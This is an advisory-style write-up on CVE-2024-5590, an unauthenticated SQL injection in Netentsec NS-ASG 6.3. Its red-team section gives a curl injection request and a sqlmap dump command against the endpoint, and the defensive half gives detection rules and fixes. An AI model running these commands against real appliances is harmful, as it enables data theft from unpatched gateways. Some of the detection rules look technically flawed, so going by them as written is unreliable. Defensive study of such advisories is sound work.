CVE-2024-5590

Executive Summary

CVE-2024-5590 is a critical unauthenticated SQL injection vulnerability in the Netentsec NS-ASG Application Security Gateway version 6.3. The flaw resides in the /protocol/iscuser/uploadiscuser.php endpoint, specifically within the JSON Content Handler. By manipulating the messagecontent parameter, an attacker can inject arbitrary SQL commands, leading to potential data exfiltration, authentication bypass, and full compromise of the gateway appliance. The vendor was contacted but did not respond, leaving the product in an unpatched state. Public exploit code is available, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It affects a proprietary network security appliance (Netentsec NS-ASG). The supply chain risk is limited to the vendor’s inability to provide a patch, forcing reliance on mitigations.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – Exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The vulnerable component is the only affected asset.
• Confidentiality (C): High – Full database read access.
• Integrity (I): High – Ability to modify or delete data.
• Availability (A): High – Potential to disrupt service via SQL injection.

Threat Level: Critical – Public exploit, no patch, and remote unauthenticated access.

Deep Dive & Mechanics

The vulnerability exists in the uploadiscuser.php script, which processes JSON payloads. The messagecontent parameter is directly concatenated into SQL queries without sanitization or parameterization. The application likely uses a backend database (e.g., MySQL) to store user data. An attacker can inject SQL commands by crafting a malicious JSON payload.

Example vulnerable code snippet (conceptual):

$json = json_decode(file_get_contents('php://input'), true);
$messagecontent = $json['messagecontent'];
$sql = "INSERT INTO iscuser (message) VALUES ('$messagecontent')";
mysqli_query($conn, $sql);

The lack of input validation allows an attacker to break out of the string context and execute arbitrary SQL.

Attack flow:

1. Send a POST request to /protocol/iscuser/uploadiscuser.php with a JSON body.
2. The messagecontent value contains SQL injection payloads (e.g., ' OR '1'='1' -- -).
3. The injected SQL is executed, potentially dumping credentials, modifying data, or executing system commands via xp_cmdshell (if MSSQL) or INTO OUTFILE (if MySQL).

Vulnerable vs. Patched Code

Vulnerable code (conceptual):

$messagecontent = $json['messagecontent'];
$sql = "INSERT INTO logs (data) VALUES ('$messagecontent')";

Patched code (conceptual):

$messagecontent = $json['messagecontent'];
$stmt = $conn->prepare("INSERT INTO logs (data) VALUES (?)");
$stmt->bind_param("s", $messagecontent);
$stmt->execute();

The patched version uses prepared statements with parameterized queries, preventing SQL injection. Since no official patch exists, this is a recommended fix for administrators.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target: Netentsec NS-ASG 6.3 with the vulnerable endpoint exposed.
• Tooling: curl, sqlmap, or custom Python script.

Manual exploitation:

curl -X POST http://target/protocol/iscuser/uploadiscuser.php \
  -H "Content-Type: application/json" \
  -d '{"messagecontent": "test\' OR \'1\'=\'1\' -- -"}'

Automated exploitation with sqlmap:

sqlmap -u "http://target/protocol/iscuser/uploadiscuser.php" \
  --data='{"messagecontent": "test"}' \
  --headers="Content-Type: application/json" \
  --dbms=mysql --batch --dump

Lab setup:

• Use a virtualized instance of NS-ASG 6.3 (if available) or simulate with a PHP/MySQL environment.
• Create a simple PHP script mimicking the vulnerable endpoint for testing.

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /protocol/iscuser/uploadiscuser.php with JSON content.
• Look for SQL keywords (OR, AND, UNION, SELECT, --, #) in the messagecontent parameter.
• Alert on unusual database error messages in logs.

Mitigation:

• Block access to the endpoint via WAF rules.
• Apply virtual patching using a Web Application Firewall (e.g., ModSecurity).
• Restrict network access to the management interface.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /protocol/iscuser/uploadiscuser.php with JSON payloads containing SQL injection patterns.
• Outbound database connections from the appliance to unexpected IPs (data exfiltration).
• Database error messages in HTTP responses (e.g., You have an error in your SQL syntax).

File IOCs:

• Suspicious entries in database logs (e.g., mysql.log or error.log).
• Modified or new files in the web root (e.g., webshells).

System IOCs:

• Unusual processes spawned by the web server (e.g., cmd.exe, /bin/sh).
• New user accounts or modified privileges.

Detection Engineering

YARA Rule

rule CVE_2024_5590_SQLi_NS_ASG {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-5590 in Netentsec NS-ASG"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-5590"
    strings:
        $json_payload = /{"messagecontent":\s*"[^"]*['\"]\s*(OR|AND|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|--|#)/ nocase
        $sqli_pattern = /(\bOR\b|\bAND\b|\bUNION\b|\bSELECT\b|\bINSERT\b|\bUPDATE\b|\bDELETE\b|\bDROP\b|\b--\b|#)/ nocase
    condition:
        $json_payload or ($sqli_pattern and #json_payload > 0)
}

Sigma Rule

title: CVE-2024-5590 SQL Injection Attempt on NS-ASG
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to /protocol/iscuser/uploadiscuser.php with SQL injection patterns in JSON body
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /protocol/iscuser/uploadiscuser.php
        cs-content-type: application/json
    keywords:
        - "' OR '"
        - "' AND '"
        - " UNION "
        - " SELECT "
        - " -- "
        - " #"
    condition: selection and keywords
falsepositives:
    - Legitimate use of SQL keywords in non-malicious context (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-5590 SQL Injection Attempt on NS-ASG";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/protocol/iscuser/uploadiscuser.php"; http_uri;
    content:"application/json"; http_client_body;
    pcre:"/(\bOR\b|\bAND\b|\bUNION\b|\bSELECT\b|\bINSERT\b|\bUPDATE\b|\bDELETE\b|\bDROP\b|\b--\b|#)/Ri";
    sid:1000001;
    rev:1;
    reference:cve,2024-5590;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

Immediate actions:

1. Isolate the appliance: Restrict network access to the management interface (e.g., firewall rules allowing only trusted IPs).
2. Apply virtual patching: Use a WAF to block requests to /protocol/iscuser/uploadiscuser.php with SQL injection patterns.
3. Disable the endpoint: If possible, remove or rename the uploadiscuser.php file.

Long-term actions:

1. Vendor escalation: Continue to pressure Netentsec for an official patch. Consider legal or regulatory escalation.
2. Code review: If source code is available, implement prepared statements for all database queries.
3. Replace appliance: Evaluate alternative security gateways from vendors with active support.

Detection:

• Deploy the provided YARA, Sigma, and Suricata rules.
• Enable detailed logging on the appliance and centralize logs for analysis.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert